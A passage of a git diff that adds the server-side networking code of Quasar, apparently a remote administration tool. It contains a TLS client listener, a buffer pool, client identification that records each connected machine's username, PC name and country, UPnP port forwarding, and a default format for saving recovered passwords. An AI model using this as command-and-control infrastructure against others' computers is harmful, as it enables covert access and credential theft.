SaveFormat + { + get + { + return ReadValueSafe("SaveFormat", "APP - URL - USER:PASS"); + } + set + { + WriteValue("SaveFormat", value); + } + } + + public static ushort ReverseProxyPort + { + get + { + return ushort.Parse(ReadValueSafe("ReverseProxyPort", "3128")); + } + set + { + WriteValue("ReverseProxyPort", value.ToString()); + } + } + + private static string ReadValue(string pstrValueToRead) + { + try + { + XPathDocument doc = new XPathDocument(SettingsPath); + XPathNavigator nav = doc.CreateNavigator(); + XPathExpression expr = nav.Compile(@"/settings/" + pstrValueToRead); + XPathNodeIterator iterator = nav.Select(expr); + while (iterator.MoveNext()) + { + return iterator.Current.Value; + } + + return string.Empty; + } + catch + { + return string.Empty; + } + } + + private static string ReadValueSafe(string pstrValueToRead, string defaultValue = "") + { + string value = ReadValue(pstrValueToRead); + return (!string.IsNullOrEmpty(value)) ? value: defaultValue; + } + + private static void WriteValue(string pstrValueToRead, string pstrValueToWrite) + { + try + { + XmlDocument doc = new XmlDocument(); + + if (File.Exists(SettingsPath)) + { + using (var reader = new XmlTextReader(SettingsPath)) + { + doc.Load(reader); + } + } + else + { + var dir = Path.GetDirectoryName(SettingsPath); + if (!Directory.Exists(dir)) + { + Directory.CreateDirectory(dir); + } + doc.AppendChild(doc.CreateElement("settings")); + } + + XmlElement root = doc.DocumentElement; + XmlNode oldNode = root.SelectSingleNode(@"/settings/" + pstrValueToRead); + if (oldNode == null) // create if not exist + { + oldNode = doc.SelectSingleNode("settings"); + oldNode.AppendChild(doc.CreateElement(pstrValueToRead)).InnerText = pstrValueToWrite; + doc.Save(SettingsPath); + return; + } + oldNode.InnerText = pstrValueToWrite; + doc.Save(SettingsPath); + } + catch + { + } + } + } +} diff --git a/Quasar.Server/Networking/BufferPool.cs b/Quasar.Server/Networking/BufferPool.cs new file mode 100644 index 0000000..191d6d5 --- /dev/null +++ b/Quasar.Server/Networking/BufferPool.cs @@ -0,0 +1,232 @@ +using System; +using System.Collections.Generic; + +namespace Quasar.Server.Networking +{ + /// + /// Implements a pool of byte arrays to improve allocation performance when parsing data. + /// + /// This type is safe for multi-threaded operations. + public class BufferPool + { + private readonly int _bufferLength; + private int _bufferCount; + private readonly Stack _buffers; + + /// + /// Informs listeners when a new buffer beyond the initial length has been allocated. + /// + public event EventHandler NewBufferAllocated; + /// + /// Fires the NewBufferAllocated event. + /// + /// The event arguments. + protected virtual void OnNewBufferAllocated(EventArgs e) + { + var handler = NewBufferAllocated; + if (handler != null) + handler(this, e); + } + + /// + /// Informs listeners that a buffer has been allocated. + /// + public event EventHandler BufferRequested; + /// + /// Raises the BufferRequested event. + /// + /// The event arguments. + protected virtual void OnBufferRequested(EventArgs e) + { + var handler =BufferRequested; + if (handler != null) + handler(this, e); + } + + /// + /// Informs listeners that a buffer has been returned. + /// + public event EventHandler BufferReturned; + /// + /// Raises the BufferReturned event. + /// + /// The event arguments. + protected virtual void OnBufferReturned(EventArgs e) + { + var handler = BufferReturned; + if (handler != null) + handler(this, e); + } + + /// + /// Gets the size of the buffers allocated from this pool. + /// + public int BufferLength + { + get { return _bufferLength; } + } + + /// + /// Gets the maximum number of buffers available at any given time from this pool. + /// + public int MaxBufferCount + { + get { return _bufferCount; } + } + + /// + /// Gets the current number of buffers available for use. + /// + public int BuffersAvailable => _buffers.Count; + + /// + /// Gets or sets whether to zero the contents of a buffer when it is returned. + /// + public bool ClearOnReturn { get; set; } + + /// + /// Creates a new buffer pool with the specified name, buffer sizes, and buffer count. + /// + /// The size of the preallocated buffers. + /// The number of preallocated buffers that should be available. + /// Thrown if or + /// are zero or negative. + public BufferPool(int baseBufferLength, int baseBufferCount) + { + if (baseBufferLength <= 0) + throw new ArgumentOutOfRangeException("baseBufferLength", baseBufferLength, "Buffer length must be a positive integer value."); + if (baseBufferCount <= 0) + throw new ArgumentOutOfRangeException("baseBufferCount", baseBufferCount, "Buffer count must be a positive integer value."); + + _bufferLength = baseBufferLength; + _bufferCount = baseBufferCount; + + _buffers = new Stack(baseBufferCount); + + for (int i = 0; i < baseBufferCount; i++) + { + _buffers.Push(new byte[baseBufferLength]); + } + } + + /// + /// Gets a buffer from the available pool if one is available, or else allocates a new one. + /// + /// + /// Buffers retrieved with this method should be returned to the pool by using the + /// ReturnBuffer method. + /// + /// A byte[] from the pool. + public byte[] GetBuffer() + { + lock (_buffers) + { + if (_buffers.Count > 0) + { + byte[] buffer = _buffers.Pop(); + return buffer; + } + } + + return AllocateNewBuffer(); + } + + private byte[] AllocateNewBuffer() + { + byte[] newBuffer = new byte[_bufferLength]; + _bufferCount++; + OnNewBufferAllocated(EventArgs.Empty); + + return newBuffer; + } + + /// + /// Returns the specified buffer to the pool. + /// + /// if the buffer belonged to this pool and was freed; otherwise . + /// + /// If the ClearOnFree property is , then the buffer will be zeroed before + /// being restored to the pool. + /// + /// The buffer to return to the pool. + /// Thrown if is . + public bool ReturnBuffer(byte[] buffer) + { + if (buffer == null) + throw new ArgumentNullException("buffer"); + if (buffer.Length != _bufferLength) + return false; + + if (ClearOnReturn) + Array.Clear(buffer, 0, buffer.Length); + + lock (_buffers) + { + if (!_buffers.Contains(buffer)) + _buffers.Push(buffer); + } + return true; + } + + /// + /// Increases the number of buffers available in the pool by a given size. + /// + /// The number of buffers to preallocate. + /// Thrown if the system is unable to preallocate the requested number of buffers. + /// Thrown if is less than or equal to 0. + /// + /// This method does not cause the NewBufferAllocated event to be raised. + /// + public void IncreaseBufferCount(int buffersToAdd) + { + if (buffersToAdd <= 0) + throw new ArgumentOutOfRangeException("buffersToAdd", buffersToAdd, "The number of buffers to add must be a nonnegative, nonzero integer."); + + List newBuffers = new List(buffersToAdd); + for (int i = 0; i < buffersToAdd; i++) + { + newBuffers.Add(new byte[_bufferLength]); + } + + lock (_buffers) + { + _bufferCount += buffersToAdd; + for (int i = 0; i < buffersToAdd; i++) + { + _buffers.Push(newBuffers[i]); + } + } + } + + /// + /// Removes up to the specified number of buffers from the pool. + /// + /// The number of buffers to attempt to remove. + /// The number of buffers actually removed. + /// + /// The number of buffers removed may actually be lower than the number requested if the specified number of buffers are not free. + /// For example, if the number of buffers free is 15, and the callee requests the removal of 20 buffers, only 15 will be freed, and so the + /// returned value will be 15. + /// + /// Thrown if is less than or equal to 0. + public int DecreaseBufferCount(int buffersToRemove) + { + if (buffersToRemove <= 0) + throw new ArgumentOutOfRangeException("buffersToRemove", buffersToRemove, "The number of buffers to remove must be a nonnegative, nonzero integer."); + + int numRemoved = 0; + + lock (_buffers) + { + for (int i = 0; i < buffersToRemove && _buffers.Count > 0; i++) + { + _buffers.Pop(); + numRemoved++; + _bufferCount--; + } + } + + return numRemoved; + } + } +} \ No newline at end of file diff --git a/Quasar.Server/Networking/Client.cs b/Quasar.Server/Networking/Client.cs new file mode 100644 index 0000000..d913b7e --- /dev/null +++ b/Quasar.Server/Networking/Client.cs @@ -0,0 +1,590 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Net; +using System.Net.Security; +using System.Threading; + +namespace Quasar.Server.Networking +{ + public class Client : IEquatable, ISender + { + /// + /// Occurs when the state of the client changes. + /// + public event ClientStateEventHandler ClientState; + + /// + /// Represents the method that will handle a change in a client's state. + /// + /// The client which changed its state. + /// The new connection state of the client. + public delegate void ClientStateEventHandler(Client s, bool connected); + + /// + /// Fires an event that informs subscribers that the state of the client has changed. + /// + /// The new connection state of the client. + private void OnClientState(bool connected) + { + if (Connected == connected) return; + + Connected = connected; + + var handler = ClientState; + handler?.Invoke(this, connected); + } + + /// + /// Occurs when a message is received from the client. + /// + public event ClientReadEventHandler ClientRead; + + /// + /// Represents the method that will handle a message received from the client. + /// + /// The client that has received the message. + /// The message that received by the client. + /// The length of the message. + public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that a message has been + /// received from the client. + /// + /// The message that received by the client. + /// The length of the message. + private void OnClientRead(IMessage message, int messageLength) + { + var handler = ClientRead; + handler?.Invoke(this, message, messageLength); + } + + /// + /// Occurs when a message is sent by the client. + /// + public event ClientWriteEventHandler ClientWrite; + + /// + /// Represents the method that will handle the sent message. + /// + /// The client that has sent the message. + /// The message that has been sent by the client. + /// The length of the message. + public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that the client has sent a message. + /// + /// The message that has been sent by the client. + /// The length of the message. + private void OnClientWrite(IMessage message, int messageLength) + { + var handler = ClientWrite; + handler?.Invoke(this, message, messageLength); + } + + public static bool operator ==(Client c1, Client c2) + { + if (ReferenceEquals(c1, null)) + return ReferenceEquals(c2, null); + + return c1.Equals(c2); + } + + public static bool operator !=(Client c1, Client c2) + { + return !(c1 == c2); + } + + /// + /// Checks whether the clients are equal. + /// + /// Client to compare with. + /// True if equal, else False. + public bool Equals(Client other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + + try + { + // the port is always unique for each client + return this.EndPoint.Port.Equals(other.EndPoint.Port); + } + catch (Exception) + { + return false; + } + } + + public override bool Equals(object obj) + { + return this.Equals(obj as Client); + } + + /// + /// Returns the hashcode for this instance. + /// + /// A hash code for the current instance. + public override int GetHashCode() + { + return this.EndPoint.GetHashCode(); + } + + /// + /// The type of the message received. + /// + public enum ReceiveType + { + Header, + Payload + } + + /// + /// The stream used for communication. + /// + private readonly SslStream _stream; + + /// + /// The buffer pool to hold the receive-buffers for the clients. + /// + private readonly BufferPool _bufferPool; + + /// + /// The queue which holds messages to send. + /// + private readonly Queue _sendBuffers = new Queue(); + + /// + /// Determines if the client is currently sending messages. + /// + private bool _sendingMessages; + + /// + /// Lock object for the sending messages boolean. + /// + private readonly object _sendingMessagesLock = new object(); + + /// + /// The queue which holds buffers to read. + /// + private readonly Queue _readBuffers = new Queue(); + + /// + /// Determines if the client is currently reading messages. + /// + private bool _readingMessages; + + /// + /// Lock object for the reading messages boolean. + /// + private readonly object _readingMessagesLock = new object(); + + // receive info + private int _readOffset; + private int _writeOffset; + private int _readableDataLen; + private int _payloadLen; + private ReceiveType _receiveState = ReceiveType.Header; + + /// + /// The time when the client connected. + /// + public DateTime ConnectedTime { get; } + + /// + /// The connection state of the client. + /// + public bool Connected { get; private set; } + + /// + /// Determines if the client is identified. + /// + public bool Identified { get; set; } + + /// + /// Stores values of the user. + /// + public UserState Value { get; set; } + + /// + /// The Endpoint which the client is connected to. + /// + public IPEndPoint EndPoint { get; } + + /// + /// The buffer for the client's incoming messages. + /// + private readonly byte[] _readBuffer; + + /// + /// The buffer for the client's incoming payload. + /// + private byte[] _payloadBuffer; + + /// + /// The header size in bytes. + /// + private const int HeaderSize = 4; // 4 B + + /// + /// The maximum size of a message in bytes. + /// + private const int MaxMessageSize = (1024 * 1024) * 5; // 5 MB + + /// + /// The mutex prevents multiple simultaneous write operations on the . + /// + private readonly Mutex _singleWriteMutex = new Mutex(); + + public Client(BufferPool bufferPool, SslStream stream, IPEndPoint endPoint) + { + try + { + Identified = false; + Value = new UserState(); + EndPoint = endPoint; + ConnectedTime = DateTime.UtcNow; + _stream = stream; + _bufferPool = bufferPool; + _readBuffer = _bufferPool.GetBuffer(); + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); + OnClientState(true); + } + catch (Exception) + { + Disconnect(); + } + } + + private void AsyncReceive(IAsyncResult result) + { + int bytesTransferred; + + try + { + bytesTransferred = _stream.EndRead(result); + + if (bytesTransferred <= 0) + throw new Exception("no bytes transferred"); + } + catch (NullReferenceException) + { + return; + } + catch (ObjectDisposedException) + { + return; + } + catch (Exception) + { + Disconnect(); + return; + } + + byte[] received = new byte[bytesTransferred]; + + try + { + Array.Copy(_readBuffer, received, received.Length); + } + catch (Exception) + { + Disconnect(); + return; + } + + lock (_readBuffers) + { + _readBuffers.Enqueue(received); + } + + lock (_readingMessagesLock) + { + if (!_readingMessages) + { + _readingMessages = true; + ThreadPool.QueueUserWorkItem(AsyncReceive); + } + } + + try + { + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); + } + catch (ObjectDisposedException) + { + } + catch (Exception) + { + Disconnect(); + } + } + + private void AsyncReceive(object state) + { + while (true) + { + byte[] readBuffer; + lock (_readBuffers) + { + if (_readBuffers.Count == 0) + { + lock (_readingMessagesLock) + { + _readingMessages = false; + } + return; + } + + readBuffer = _readBuffers.Dequeue(); + } + + _readableDataLen += readBuffer.Length; + bool process = true; + while (process) + { + switch (_receiveState) + { + case ReceiveType.Header: + { + if (_payloadBuffer == null) + _payloadBuffer = new byte[HeaderSize]; + + if (_readableDataLen + _writeOffset >= HeaderSize) + { + // completely received header + int headerLength = HeaderSize - _writeOffset; + + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength); + + _payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset); + + if (_payloadLen <= 0 || _payloadLen > MaxMessageSize) + throw new Exception("invalid header"); + + // try to re-use old payload buffers which fit + if (_payloadBuffer.Length <= _payloadLen + HeaderSize) + Array.Resize(ref _payloadBuffer, _payloadLen + HeaderSize); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _readableDataLen -= headerLength; + _writeOffset += headerLength; + _readOffset += headerLength; + _receiveState = ReceiveType.Payload; + } + else // _readableDataLen + _writeOffset < HeaderSize + { + // received only a part of the header + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + _readOffset += _readableDataLen; + _writeOffset += _readableDataLen; + process = false; + // nothing left to process + } + break; + } + case ReceiveType.Payload: + { + int length = (_writeOffset - HeaderSize + _readableDataLen) >= _payloadLen + ? _payloadLen - (_writeOffset - HeaderSize) + : _readableDataLen; + + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _writeOffset += length; + _readOffset += length; + _readableDataLen -= length; + + if (_writeOffset - HeaderSize == _payloadLen) + { + // completely received payload + try + { + using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HeaderSize, false)) + { + IMessage message = pr.ReadMessage(); + + OnClientRead(message, _payloadBuffer.Length); + } + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _receiveState = ReceiveType.Header; + _payloadLen = 0; + _writeOffset = 0; + } + + if (_readableDataLen == 0) + process = false; + + break; + } + } + } + + _readOffset = 0; + _readableDataLen = 0; + } + } + + /// + /// Sends a message to the connected client. + /// + /// The type of the message. + /// The message to be sent. + public void Send(T message) where T : IMessage + { + if (!Connected || message == null) return; + + lock (_sendBuffers) + { + _sendBuffers.Enqueue(message); + + lock (_sendingMessagesLock) + { + if (_sendingMessages) return; + + _sendingMessages = true; + ThreadPool.QueueUserWorkItem(ProcessSendBuffers); + } + } + } + + /// + /// Sends a message to the connected client. + /// Blocks the thread until the message has been sent. + /// + /// The type of the message. + /// The message to be sent. + public void SendBlocking(T message) where T : IMessage + { + if (!Connected || message == null) return; + + SafeSendMessage(message); + } + + /// + /// Safely sends a message and prevents multiple simultaneous + /// write operations on the . + /// + /// The message to send. + private void SafeSendMessage(IMessage message) + { + try + { + _singleWriteMutex.WaitOne(); + using (PayloadWriter pw = new PayloadWriter(_stream, true)) + { + OnClientWrite(message, pw.WriteMessage(message)); + } + } + catch (Exception) + { + Disconnect(); + SendCleanup(true); + } + finally + { + _singleWriteMutex.ReleaseMutex(); + } + } + + private void ProcessSendBuffers(object state) + { + while (true) + { + if (!Connected) + { + SendCleanup(true); + return; + } + + IMessage message; + lock (_sendBuffers) + { + if (_sendBuffers.Count == 0) + { + SendCleanup(); + return; + } + + message = _sendBuffers.Dequeue(); + } + + SafeSendMessage(message); + } + } + + private void SendCleanup(bool clear = false) + { + lock (_sendingMessagesLock) + { + _sendingMessages = false; + } + + if (!clear) return; + + lock (_sendBuffers) + { + _sendBuffers.Clear(); + } + } + + /// + /// Disconnect the client from the server and dispose of + /// resources associated with the client. + /// + public void Disconnect() + { + if (_stream != null) + { + _stream.Close(); + _readOffset = 0; + _writeOffset = 0; + _readableDataLen = 0; + _payloadLen = 0; + _payloadBuffer = null; + _receiveState = ReceiveType.Header; + _singleWriteMutex.Dispose(); + + _bufferPool.ReturnBuffer(_readBuffer); + } + + OnClientState(false); + } + } +} diff --git a/Quasar.Server/Networking/QuasarServer.cs b/Quasar.Server/Networking/QuasarServer.cs new file mode 100644 index 0000000..fa8d5d4 --- /dev/null +++ b/Quasar.Server/Networking/QuasarServer.cs @@ -0,0 +1,164 @@ +using Quasar.Common.Cryptography; +using Quasar.Common.Messages; +using System; +using System.Linq; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; + +namespace Quasar.Server.Networking +{ + public class QuasarServer : Server + { + /// + /// Gets the clients currently connected and identified to the server. + /// + public Client[] ConnectedClients + { + get { return Clients.Where(c => c != null && c.Identified).ToArray(); } + } + + /// + /// Occurs when a client connected. + /// + public event ClientConnectedEventHandler ClientConnected; + + /// + /// Represents the method that will handle the connected client. + /// + /// The connected client. + public delegate void ClientConnectedEventHandler(Client client); + + /// + /// Fires an event that informs subscribers that the client is connected. + /// + /// The connected client. + private void OnClientConnected(Client client) + { + if (ProcessingDisconnect || !Listening) return; + var handler = ClientConnected; + handler?.Invoke(client); + } + + /// + /// Occurs when a client disconnected. + /// + public event ClientDisconnectedEventHandler ClientDisconnected; + + /// + /// Represents the method that will handle the disconnected client. + /// + /// The disconnected client. + public delegate void ClientDisconnectedEventHandler(Client client); + + /// + /// Fires an event that informs subscribers that the client is disconnected. + /// + /// The disconnected client. + private void OnClientDisconnected(Client client) + { + if (ProcessingDisconnect || !Listening) return; + var handler = ClientDisconnected; + handler?.Invoke(client); + } + + /// + /// Constructor, initializes required objects and subscribes to events of the server. + /// + /// The server certificate. + public QuasarServer(X509Certificate2 serverCertificate) : base(serverCertificate) + { + base.ClientState += OnClientState; + base.ClientRead += OnClientRead; + } + + /// + /// Decides if the client connected or disconnected. + /// + /// The server the client is connected to. + /// The client which changed its state. + /// True if the client connected, false if disconnected. + private void OnClientState(Server server, Client client, bool connected) + { + if (!connected) + { + if (client.Identified) + { + OnClientDisconnected(client); + } + } + } + + /// + /// Forwards received messages from the client to the MessageHandler. + /// + /// The server the client is connected to. + /// The client which has received the message. + /// The received message. + private void OnClientRead(Server server, Client client, IMessage message) + { + if (!client.Identified) + { + if (message.GetType() == typeof (ClientIdentification)) + { + client.Identified = IdentifyClient(client, (ClientIdentification) message); + if (client.Identified) + { + client.Send(new ClientIdentificationResult {Result = true}); // finish handshake + OnClientConnected(client); + } + else + { + // identification failed + client.Disconnect(); + } + } + else + { + // no messages of other types are allowed as long as client is in unidentified state + client.Disconnect(); + } + return; + } + + MessageHandler.Process(client, message); + } + + private bool IdentifyClient(Client client, ClientIdentification packet) + { + if (packet.Id.Length != 64) + return false; + + client.Value.Version = packet.Version; + client.Value.OperatingSystem = packet.OperatingSystem; + client.Value.AccountType = packet.AccountType; + client.Value.Country = packet.Country; + client.Value.CountryCode = packet.CountryCode; + client.Value.Id = packet.Id; + client.Value.Username = packet.Username; + client.Value.PcName = packet.PcName; + client.Value.Tag = packet.Tag; + client.Value.ImageIndex = packet.ImageIndex; + client.Value.EncryptionKey = packet.EncryptionKey; + + // TODO: Refactor tooltip + //if (Settings.ShowToolTip) + // client.Send(new GetSystemInfo()); + +#if !DEBUG + try + { + var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key; + return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(packet.EncryptionKey)), + CryptoConfig.MapNameToOID("SHA256"), packet.Signature); + } + catch (Exception) + { + return false; + } +#else + return true; +#endif + } + } +} diff --git a/Quasar.Server/Networking/Server.cs b/Quasar.Server/Networking/Server.cs new file mode 100644 index 0000000..3954f1a --- /dev/null +++ b/Quasar.Server/Networking/Server.cs @@ -0,0 +1,418 @@ +using Quasar.Common.Extensions; +using Quasar.Common.Messages; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; + +namespace Quasar.Server.Networking +{ + public class Server + { + /// + /// Occurs when the state of the server changes. + /// + public event ServerStateEventHandler ServerState; + + /// + /// Represents a method that will handle a change in the server's state. + /// + /// The server which changed its state. + /// The new listening state of the server. + /// The port the server is listening on, if listening is True. + public delegate void ServerStateEventHandler(Server s, bool listening, ushort port); + + /// + /// Fires an event that informs subscribers that the server has changed it's state. + /// + /// The new listening state of the server. + private void OnServerState(bool listening) + { + if (Listening == listening) return; + + Listening = listening; + + var handler = ServerState; + handler?.Invoke(this, listening, Port); + } + + /// + /// Occurs when the state of a client changes. + /// + public event ClientStateEventHandler ClientState; + + /// + /// Represents a method that will handle a change in a client's state. + /// + /// The server, the client is connected to. + /// The client which changed its state. + /// The new connection state of the client. + public delegate void ClientStateEventHandler(Server s, Client c, bool connected); + + /// + /// Fires an event that informs subscribers that a client has changed its state. + /// + /// The client which changed its state. + /// The new connection state of the client. + private void OnClientState(Client c, bool connected) + { + if (!connected) + RemoveClient(c); + + var handler = ClientState; + handler?.Invoke(this, c, connected); + } + + /// + /// Occurs when a message is received by a client. + /// + public event ClientReadEventHandler ClientRead; + + /// + /// Represents a method that will handle a message received from a client. + /// + /// The server, the client is connected to. + /// The client that has received the message. + /// The message that received by the client. + public delegate void ClientReadEventHandler(Server s, Client c, IMessage message); + + /// + /// Fires an event that informs subscribers that a message has been + /// received from the client. + /// + /// The client that has received the message. + /// The message that received by the client. + /// The length of the message. + private void OnClientRead(Client c, IMessage message, int messageLength) + { + BytesReceived += messageLength; + var handler = ClientRead; + handler?.Invoke(this, c, message); + } + + /// + /// Occurs when a message is sent by a client. + /// + public event ClientWriteEventHandler ClientWrite; + + /// + /// Represents the method that will handle the sent message by a client. + /// + /// The server, the client is connected to. + /// The client that has sent the message. + /// The message that has been sent by the client. + public delegate void ClientWriteEventHandler(Server s, Client c, IMessage message); + + /// + /// Fires an event that informs subscribers that the client has sent a message. + /// + /// The client that has sent the message. + /// The message that has been sent by the client. + /// The length of the message. + private void OnClientWrite(Client c, IMessage message, int messageLength) + { + BytesSent += messageLength; + var handler = ClientWrite; + handler?.Invoke(this, c, message); + } + + /// + /// The port on which the server is listening. + /// + public ushort Port { get; private set; } + + /// + /// The total amount of received bytes. + /// + public long BytesReceived { get; set; } + + /// + /// The total amount of sent bytes. + /// + public long BytesSent { get; set; } + + /// + /// The buffer size for receiving data in bytes. + /// + private const int BufferSize = 1024 * 16; // 16 KB + + /// + /// The keep-alive time in ms. + /// + private const uint KeepAliveTime = 25000; // 25 s + + /// + /// The keep-alive interval in ms. + /// + private const uint KeepAliveInterval = 25000; // 25 s + + /// + /// The buffer pool to hold the receive-buffers for the clients. + /// + private readonly BufferPool _bufferPool = new BufferPool(BufferSize, 1) { ClearOnReturn = false }; + + /// + /// The listening state of the server. True if listening, else False. + /// + public bool Listening { get; private set; } + + /// + /// Gets the clients currently connected to the server. + /// + protected Client[] Clients + { + get + { + lock (_clientsLock) + { + return _clients.ToArray(); + } + } + } + + /// + /// Handle of the Server Socket. + /// + private Socket _handle; + + /// + /// The server certificate. + /// + protected readonly X509Certificate2 ServerCertificate; + + /// + /// The event to accept new connections asynchronously. + /// + private SocketAsyncEventArgs _item; + + /// + /// List of the clients connected to the server. + /// + private readonly List _clients = new List(); + + /// + /// The UPnP service used to discover, create and delete port mappings. + /// + private UPnPService _UPnPService; + + /// + /// Lock object for the list of clients. + /// + private readonly object _clientsLock = new object(); + + /// + /// Determines if the server is currently processing Disconnect method. + /// + protected bool ProcessingDisconnect { get; set; } + + /// + /// Constructor of the server, initializes serializer types. + /// + /// The server certificate. + protected Server(X509Certificate2 serverCertificate) + { + ServerCertificate = serverCertificate; + TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray()); + } + + /// + /// Begins listening for clients. + /// + /// Port to listen for clients on. + /// If set to true, use a dual-stack socket to allow IPv4/6 connections. Otherwise use IPv4-only socket. + /// Enables the automatic UPnP port forwarding. + public void Listen(ushort port, bool ipv6, bool enableUPnP) + { + if (Listening) return; + this.Port = port; + + if (enableUPnP) + { + _UPnPService = new UPnPService(); + _UPnPService.CreatePortMapAsync(port); + } + + if (Socket.OSSupportsIPv6 && ipv6) + { + _handle = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp); + _handle.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, 0); + _handle.Bind(new IPEndPoint(IPAddress.IPv6Any, port)); + } + else + { + _handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + _handle.Bind(new IPEndPoint(IPAddress.Any, port)); + } + _handle.Listen(1000); + + OnServerState(true); + + _item = new SocketAsyncEventArgs(); + _item.Completed += AcceptClient; + + if (!_handle.AcceptAsync(_item)) + AcceptClient(this, _item); + } + + /// + /// Accepts and begins authenticating an incoming client. + /// + /// The sender. + /// Asynchronous socket event. + private void AcceptClient(object s, SocketAsyncEventArgs e) + { + try + { + do + { + switch (e.SocketError) + { + case SocketError.Success: + SslStream sslStream = null; + try + { + Socket clientSocket = e.AcceptSocket; + clientSocket.SetKeepAliveEx(KeepAliveInterval, KeepAliveTime); + sslStream = new SslStream(new NetworkStream(clientSocket, true), false); + // the SslStream owns the socket and on disposing also disposes the NetworkStream and Socket + sslStream.BeginAuthenticateAsServer(ServerCertificate, false, SslProtocols.Tls12, false, EndAuthenticateClient, + new PendingClient {Stream = sslStream, EndPoint = (IPEndPoint) clientSocket.RemoteEndPoint}); + } + catch (Exception) + { + sslStream?.Close(); + } + break; + case SocketError.ConnectionReset: + break; + default: + throw new SocketException((int) e.SocketError); + } + + e.AcceptSocket = null; // enable reuse + } while (!_handle.AcceptAsync(e)); + } + catch (ObjectDisposedException) + { + } + catch (Exception) + { + Disconnect(); + } + } + + private class PendingClient + { + public SslStream Stream { get; set; } + public IPEndPoint EndPoint { get; set; } + } + + /// + /// Ends the authentication process of a newly connected client. + /// + /// The status of the asynchronous operation. + private void EndAuthenticateClient(IAsyncResult ar) + { + var con = (PendingClient) ar.AsyncState; + try + { + con.Stream.EndAuthenticateAsServer(ar); + + Client client = new Client(_bufferPool, con.Stream, con.EndPoint); + AddClient(client); + OnClientState(client, true); + } + catch (Exception) + { + con.Stream.Close(); + } + } + + /// + /// Adds a connected client to the list of clients, + /// subscribes to the client's events. + /// + /// The client to add. + private void AddClient(Client client) + { + lock (_clientsLock) + { + client.ClientState += OnClientState; + client.ClientRead += OnClientRead; + client.ClientWrite += OnClientWrite; + _clients.Add(client); + } + } + + /// + /// Removes a disconnected client from the list of clients, + /// unsubscribes from the client's events. + /// + /// The client to remove. + private void RemoveClient(Client client) + { + if (ProcessingDisconnect) return; + + lock (_clientsLock) + { + client.ClientState -= OnClientState; + client.ClientRead -= OnClientRead; + client.ClientWrite -= OnClientWrite; + _clients.Remove(client); + } + } + + /// + /// Disconnect the server from all of the clients and discontinue + /// listening (placing the server in an "off" state). + /// + public void Disconnect() + { + if (ProcessingDisconnect) return; + ProcessingDisconnect = true; + + if (_handle != null) + { + _handle.Close(); + _handle = null; + } + + if (_item != null) + { + _item.Dispose(); + _item = null; + } + + if (_UPnPService != null) + { + _UPnPService.DeletePortMapAsync(Port); + _UPnPService = null; + } + + lock (_clientsLock) + { + while (_clients.Count != 0) + { + try + { + _clients[0].Disconnect(); + _clients[0].ClientState -= OnClientState; + _clients[0].ClientRead -= OnClientRead; + _clients[0].ClientWrite -= OnClientWrite; + _clients.RemoveAt(0); + } + catch + { + } + } + } + + ProcessingDisconnect = false; + OnServerState(false); + } + } +} diff --git a/Quasar.Server/Networking/UPnPService.cs b/Quasar.Server/Networking/UPnPService.cs new file mode 100644 index 0000000..18c5bcf --- /dev/null +++ b/Quasar.Server/Networking/UPnPService.cs @@ -0,0 +1,77 @@ +using Open.Nat; +using System; +using System.Collections.Generic; +using System.Threading; + +namespace Quasar.Server.Networking +{ + public class UPnPService + { + /// + /// Used to keep track of all created mappings. + /// + private readonly Dictionary _mappings = new Dictionary(); + + /// + /// The discovered UPnP device. + /// + private NatDevice _device; + + /// + /// The NAT discoverer used to discover NAT-UPnP devices. + /// + private NatDiscoverer _discoverer; + + /// + /// Initializes the discovery of new UPnP devices. + /// + public UPnPService() + { + _discoverer = new NatDiscoverer(); + } + + /// + /// Creates a new port mapping on the UPnP device. + /// + /// The port to map. + public async void CreatePortMapAsync(int port) + { + try + { + var cts = new CancellationTokenSource(10000); + _device = await _discoverer.DiscoverDeviceAsync(PortMapper.Upnp, cts); + + Mapping mapping = new Mapping(Protocol.Tcp, port, port); + + await _device.CreatePortMapAsync(mapping); + + if (_mappings.ContainsKey(mapping.PrivatePort)) + _mappings[mapping.PrivatePort] = mapping; + else + _mappings.Add(mapping.PrivatePort, mapping); + } + catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException) + { + } + } + + /// + /// Deletes an existing port mapping. + /// + /// The port mapping to delete. + public async void DeletePortMapAsync(int port) + { + if (_mappings.TryGetValue(port, out var mapping)) + { + try + { + await _device.DeletePortMapAsync(mapping); + _mappings.Remove(mapping.PrivatePort); + } + catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException) + { + } + } + } + } +} diff --git a/Quasar.Server/Networking/UserState.cs b/Quasar.Server/Networking/UserState.cs new file mode 100644 index 0000000..523e9b7 --- /dev/null +++ b/Quasar.Server/Networking/UserState.cs @@ -0,0 +1,33 @@ +using Quasar.Common.Cryptography; +using 